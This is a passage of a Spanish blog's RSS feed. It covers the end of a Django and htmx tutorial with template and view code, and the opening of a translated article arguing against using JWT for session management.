style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameDetail&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;videogame&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;pk&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;{{videogame.title}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{videogame.description|truncatewords:15}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Read more&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameCreate&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Submit a videogame&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endblock body %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora puedes acceder directo a las url y conservar la funcionalidad de htmx.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxConHeadDespuesDePeticion.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxConHeadDespuesDePeticion.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Accediendo a las rutas directamente&#34; width=&#34;1260&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;renderizando-condicional-con-htmx-en-las-vistas-de-django&#34;&gt;Renderizando condicional con HTMX en las vistas de Django&lt;/h3&gt;&#xA;&lt;p&gt;Editar: El código a continuación ya no será necesario porque Django 6.0 tendrá plantillas parciales que le permitirán recuperar plantillas parciales directamente, usando la etiqueta &lt;em&gt;partialdef&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% partialdef user-info %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;user-info-&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;h3&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;h3&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endpartialdef %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;del&gt;Lo anterior puede ser bastante complicado si tus plantillas son complejas, pero hay otras opciones. Por ejemplo puedes generar tu nombre de plantilla dinámicamente si has recibido una petición originada con HTMX, ¿te acuerdas que te dije de los headers o cabeceras especiales?&lt;/del&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;YourGenericView&lt;/span&gt;(ListView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_template_names&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;META&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;HTTP_HX_REQUEST&amp;#34;&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;partials/_template.html&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; [&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;template_name]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Te he mostrado solo lo básico de htmx combinado con django recuerda visitar la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://htmx.org/docs/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial&lt;/a&gt;&#xA; para ver el resto de cosas que tiene para ofrecer, como CSS transitions, websockets y SSE.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El otro día estaba probando una librería llamada htmx, que promete volver mucho más sencilla la creación de una web, sí, otra librería, pero con la diferencia de que esta no necesita que escribas Javascript (JS) y que, además, combina bastante bien con Django. Htmx basa todo su funcionamiento en escribir atributos en tus etiquetas HTML, que se encargan de abstraer todo el JS que corre tras bambalinas. El resultado es código formado únicamente por etiquetas HTML y sus atributos, sin código JS (bueno, quizá solo un poco). No, no tienes que abandonar todo el JS, tranquilo, también puedes combinar htmx con tus librerías favoritas y código vanilla JS.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>No uses JWT para gestionar sesiones (Traducción)</title>
      <link>https://coffeebytes.dev/es/software-architecture/no-uses-jwt-para-gestionar-sesiones-traduccion/</link>
      <pubDate>Tue, 22 Jun 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/no-uses-jwt-para-gestionar-sesiones-traduccion/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En la entrada anterior publiqué una entrada sobre como llevar a cabo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-rest-framework-y-jwt-para-autenticar-usuarios/&#34;&gt;autenticación usando JWT y Django Rest Framework&lt;/a&gt;&#xA;, debido a que es un mecanismo de manejo de sesiones bastante popular últimamente, incluso algunos lo consideran un reemplazo de las cookies de sesión. En mi publicación mencioné que hay un debate muy intenso sobre si usar JWT para manejar sesiones es una buena práctica, para complementar lo anterior decidí traducir uno de los artículos más populares que aboga en contra del uso de JWT para manejar sesiones. El autor es Sven &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Slootweg (joepie91)&lt;/a&gt;&#xA; y el artículo fue publicado en su blog. Yo solamente lo traduje al español y lo comparto aquí. A partir del siguiente párrafo empieza la traducción del artículo, que lo disfrutes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;stop-using-jwt-for-sessions-en-espanol&#34;&gt;Stop using JWT for sessions (en español)&lt;/h2&gt;&#xA;&lt;p&gt;Desafortunadamente, últimamente he visto a más y más personas recomendar el uso de JWT (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/JSON_Web_Token&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;JSON Web tokens&lt;/a&gt;&#xA;) para gestionar las sesiones de usuarios en sus aplicaciones web. Esta es una terrible, terrible idea, y en este post, voy a explicar porque.&lt;/p&gt;&#xA;&lt;p&gt;Para prevenir cualquier confusión, definiré unos cuantos términos primero:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;JWT Stateless:&lt;/strong&gt; Un JWT token que contiene la información de la sesión, almacenada directamente en el token.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;JWT Stateful:&lt;/strong&gt; Un JWT token que contiene solo una referencia o ID de la sesión. La información de la sesión es almacenada del lado del servidor.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Token de sesión/cookie:&lt;/strong&gt; Un ID de sesión estándar (opcionalmente firmado), como los que los web frameworks han estado usando por un largo tiempo. La información de la sesión es almacenada del lado del servidor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para ser claro: este artículo no argumenta que nunca deberías usar JWT - solo que no es tan adecuado como un mecanismo de sesiones y que es peligroso usarlo de esa manera. Casos de uso válidos existen, en otras áreas. Al final de este artículo, hablaré brevemente de aquellos otros casos de uso.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;una-nota-por-adelantado&#34;&gt;Una nota por adelantado&lt;/h2&gt;&#xA;&lt;p&gt;Muchas personas intentan comparar &amp;ldquo;cookies vs JWT&amp;rdquo;. Esta comparación no tiene sentido, y es comparar manzanas con naranjas -las cookies son un mecanismo de almacenamiento, mientras que las JWT tokens son tokens firmadas criptográficamente.&lt;/p&gt;&#xA;&lt;p&gt;No son opuestos - sino que pueden ser usadas ya sea de manera conjunta o independiente. La comparación correcta es &amp;ldquo;sesiones vs JWT&amp;rdquo; y &amp;ldquo;cookies vs Local Storage&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;En este artículo en particular, estaré comparando las sesiones a los JWT tokens, y ocasionalmente &amp;ldquo;cookies vs Local Storage&amp;rdquo; también, donde tenga sentido hacerlo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ventajas-atribuidas-de-las-jwt&#34;&gt;Ventajas atribuidas de las JWT&lt;/h2&gt;&#xA;&lt;p&gt;Cuando las personas recomiendan las JWT, usualmente les atribuyen uno o más de los siguientes beneficios:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sencillas de escalar (horizontalmente)&lt;/li&gt;&#xA;&lt;li&gt;Sencillas de usar&lt;/li&gt;&#xA;&lt;li&gt;Más flexibles&lt;/li&gt;&#xA;&lt;li&gt;Más seguras&lt;/li&gt;&#xA;&lt;li&gt;Funcionalidad de expiración incluida&lt;/li&gt;&#xA;&lt;li&gt;No requiere pedirle al usuario consentimiento para usar cookies&lt;/li&gt;&#xA;&lt;li&gt;Previene CSRF&lt;/li&gt;&#xA;&lt;li&gt;Funcionan mejor en móviles&lt;/li&gt;&#xA;&lt;li&gt;Funcionan para usuarios que bloquean las cookies&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Trataré cada una de estas afirmaciones - y porque están equivocadas o inducen al error - individualmente. Algunas de las explicaciones que encontrarás más abajo pueden ser un poco vagas; eso es principalmente porque las afirmaciones, por si mismas, son vagas. Lo actualizaré encantado para tratar afirmaciones más específicas; puedes encontrar mi información de contacto al fondo de este artículo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sencillas-de-escalar-horizontalmente&#34;&gt;Sencillas de escalar (horizontalmente)&lt;/h3&gt;&#xA;&lt;p&gt;Esta es la única afirmación en la lista que es en cierto modo verdadera, pero solo si estás usando stateless JWT tokens. La realidad, sin embargo, es que casi nadie necesita este tipo de escalabilidad - hay maneras más fáciles de escalar, y a menos que estés operando al tamaño de Reddit, no necesitarás &amp;ldquo;sesiones stateless&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Algunos ejemplos de escalamiento de sesiones stateful:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Una vez que corres múltiples procesos en backend en un servidor: Un daemon de Redis (en ese servidor) para el almacenamiento de sesiones.&lt;/li&gt;&#xA;&lt;li&gt;Cuando corres múltiples servidores: Un servidor dedicado corriendo Redis solo para el almacenamiento de sesiones&lt;/li&gt;&#xA;&lt;li&gt;Una vez que corres en múltiples servidores, en múltiples clusters: sesiones persistentes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Estos son escenarios que están cubiertos por software existente. Es poco probable que tu aplicación vaya más allá del segundo paso.&lt;/p&gt;&#xA;&lt;p&gt;Quizás estás pensando que deberías &amp;ldquo;preparar tu aplicación para el futuro&amp;rdquo;, en caso de que alguna vez escales más allá de eso. En la práctica, sin embargo, es bastante trivial reemplazar el mecanismo de sesiones en un punto posterior, con el único costo de terminar la sesión de cada usuario una vez, cuando hagas la transición. No vale la pena implementar JWT previamente, especialmente considerando las desventajas que trataré más adelante.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sencillas-de-usar&#34;&gt;Sencillas de usar&lt;/h3&gt;&#xA;&lt;p&gt;Realmente no lo son. Tendrás que lidiar con el manejo de sesiones por ti mismo, en ambos, del lado del cliente y del servidor, mientras que las cookies estándar de sesiones funcionan, de manera predeterminada. JWT no es más fácil en ninguna manera.&lt;/p&gt;&#xA;&lt;h3 id=&#34;mas-flexibles&#34;&gt;Más flexibles&lt;/h3&gt;&#xA;&lt;p&gt;Sigo esperando a que alguien explique como JWT es más flexible. Casi todas las implementaciones de sesiones te permiten almacenar información arbitraria para la sesión, y no es diferente a como funciona JWT. Por lo que a mi me consta, esta es solo una palabra pegadiza. Si estás en desacuerdo, siéntete libre de contactarme con ejemplos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;mas-seguras&#34;&gt;Más seguras&lt;/h3&gt;&#xA;&lt;p&gt;Muchas personas piensan que las JWT tokens son &amp;ldquo;más seguras&amp;rdquo; porque usan criptografía. Si bien las cookies firmadas son más seguras que las cookies no firmadas, esto no es, de ninguna manera, exclusivo de JWT, además las buenas implementaciones de manejo de sesiones usan cookies firmadas también.&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;Usar criptografía&amp;rdquo; no vuelve a algo más seguro mágicamente tampoco; debe servir a un propósito específico, y puede ser una solución efectiva para ese propósito específico. La criptografía usada de manera incorrecta puede, de hecho, hacer algo menos seguro.&lt;/p&gt;&#xA;&lt;p&gt;Otra explicación del argumento de &amp;ldquo;más seguro&amp;rdquo; que escucho mucho, es que (las JWT) &amp;ldquo;no son enviadas como una cookie&amp;rdquo;. Esto no tiene absoluto sentido -una cookie es solo una cabecera HTTP, y no hay nada inseguro al usar cookies. De hecho, las cookies están especialmente bien protegidas contra código malicioso del lado del servidor, algo que trataré más adelante.&lt;/p&gt;&#xA;&lt;p&gt;Si estás preocupado porque alguien intercepte tu cookie de sesión, deberías estar usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Seguridad_de_la_capa_de_transporte&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;TLS&lt;/a&gt;&#xA; en su lugar - cualquier tipo de implementación de sesiones será interceptable si no usas TLS, incluyendo JWT.&lt;/p&gt;&#xA;&lt;h3 id=&#34;funcionalidad-de-expiracion-incluida&#34;&gt;Funcionalidad de expiración incluida&lt;/h3&gt;&#xA;&lt;p&gt;Este es un sinsentido, y no una característica útil. La expiración puede ser implementada del lado del servidor también, y muchas implementaciones lo hacen. La expiración del lado del servidor es preferible, de hecho, permite a tu aplicación limpiar la información de sesión que ya no se necesita, algo que no puedes hacer si usas stateful JWT tokens y confías en su mecanismo de expiración.&lt;/p&gt;&#xA;&lt;h3 id=&#34;no-requiere-pedirle-al-usuario-consentimiento-para-usar-cookies&#34;&gt;No requiere pedirle al usuario consentimiento para usar cookies&lt;/h3&gt;&#xA;&lt;p&gt;Completamente mal. No hay tal cosa como una &amp;ldquo;ley de cookies&amp;rdquo; - Las variadas leyes que involucran a las cookies cubren cualquier tipo de identificador persistente que no sea estrictamente necesario para el funcionamiento del servicio. Cualquier mecanismo de sesión que puedas pensar estará cubierto por esto.&lt;/p&gt;&#xA;&lt;p&gt;En resumen:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Si estás usando una sesión o token para propósitos funcionales (ej. mantener a un usuario loggeado), entonces no necesitas pedir el consentimiento del usuario, sin importar como almacenes la sesión.&lt;/li&gt;&#xA;&lt;li&gt;Si estás usando una sesión o token para otros propósitos (ej. analíticas o rastreo), entonces necesitas pedir el consentimiento, sin importar como almacenes la sesión.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;previene-csrf&#34;&gt;Previene CSRF&lt;/h3&gt;&#xA;&lt;p&gt;No lo hace realmente. Hay dos maneras de almacenar una JWT:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;En una cookie:&lt;/strong&gt; Ahora eres vulnerable a ataques CSRF, y necesitas protección contra ellos.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;En cualquier otro lugar, ej. Local Storage:&lt;/strong&gt; Ahora no eres vulnerable a los ataques CSRF, pero tu aplicación o sitio ahora requieren Javascript para funcionar, y te has vuelto vulnerable a otros, potencialmente peores y completamente diferentes, tipos de vulnerabilidades. Más sobre esto abajo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;La única correcta mitigación de los ataques CSRF es un CSRF token. El mecanismo de sesiones no es relevante aquí&lt;/p&gt;&#xA;&lt;h3 id=&#34;funcionan-mejor-en-moviles&#34;&gt;Funcionan mejor en móviles&lt;/h3&gt;&#xA;&lt;p&gt;Tonterías. Cada navegador de móvil en uso soporta cookies, y por lo tanto sesiones. Lo mismo ocurre para cada framework de desarrollo, y cualquier librería seria de HTTP. Este no es un problema.&lt;/p&gt;&#xA;&lt;h3 id=&#34;funciona-para-usuarios-que-bloquean-las-cookies&#34;&gt;Funciona para usuarios que bloquean las cookies.&lt;/h3&gt;&#xA;&lt;p&gt;Poco probable. Los usuarios no solo bloquean las cookies, ellos típicamente bloquean todo medio de persistencia. Lo cual incluye Local Storage, y cualquier otro mecanismo de almacenamiento que permitiría la persistencia de una sesión (con o sin usar JWT). Que uses JWT simplemente no importa aquí, es un problema completamente ajeno - e intentar lograr que una autenticación funcione sin cookies es una causa 